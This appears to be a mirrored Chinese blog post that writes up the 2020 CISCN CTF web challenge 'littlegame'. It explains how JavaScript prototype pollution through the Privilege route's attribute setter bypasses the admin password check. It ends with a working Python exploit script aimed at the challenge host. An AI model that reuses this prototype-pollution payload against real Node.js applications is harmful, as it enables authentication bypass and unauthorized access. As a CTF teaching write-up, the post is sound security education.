zoukankan      html  css  js  c++  java
  • web-2020 ciscn littlegame(原型链污染)

    下载题目源码,审计index.js,这里贴出关键代码

     

     

    发现了几个路由,在DeveloperControlPanel中发现了用户的认证,flag关键字提示我们通过认证就能拿到flag,认证需要post keypassword,最后会进行校验。继续往下看可以看到PrivilegeNewAttributeKeyNewAttributeKey。所以考虑是js原型链污染。向Privilege post时会检查req.session.knight 是否为空。先访问SpawnPoint获得session

    SpawnPoint-->Privilege-->DeveloperControlPanel

     

    每一个proto都会指向上一级的prototype当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined

    原型链污染就是通过能修改函数的proto属性去更改上级类

    NewAttributeKey赋值为__proto__.remon535,再给key赋值为remon535,之后的判断就是Admin[‘remon535’] === password。

    setFn(req.session.knight, key, value);执行后的结果是

    req.session.knightvalue被设置成了{ __proto__: { bb: value } }

    使用json__proto__被认为是一个键名

    这样最后返回的就是我们一开始输入的NewAttributeValue的值。NewAttributeValue和password我们都能控制,让他们相同就能拿到flag

     

    exp:

    #!/usr/bin/python
    import requests
    session=requests.session()
    session.get("http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/SpawnPoint")
    url="http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/Privilege"
    json={"NewAttributeKey":"__proto__.remon535","NewAttributeValue":"abc"}
    session.post(url,json=json)
    url="http://eci-2zeiat1sz4xzhrz3z41a.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel"
    json={"key":"remon535","password":"abc"}
    ret=session.post(url,json=json)
    print(ret.text)
  • 相关阅读:
    Scrapy 概览笔记
    Python 依赖版本控制 (requirements.txt 文件生成和使用)
    Python 虚拟空间的使用
    macOS 所有版本 JDK 安装指南 (with Homebrew)
    鉴权那些事
    Java 位运算符和 int 类型的实现
    ASP.NET Core 入门教程 5、ASP.NET Core MVC 视图传值入门
    如何做好一次知识或技术分享
    ASP.NET Core 入门教程 4、ASP.NET Core MVC控制器入门
    ASP.NET Core 入门教程 3、ASP.NET Core MVC路由入门
  • 原文地址:https://www.cnblogs.com/remon535/p/13643820.html
Copyright © 2011-2022 走看看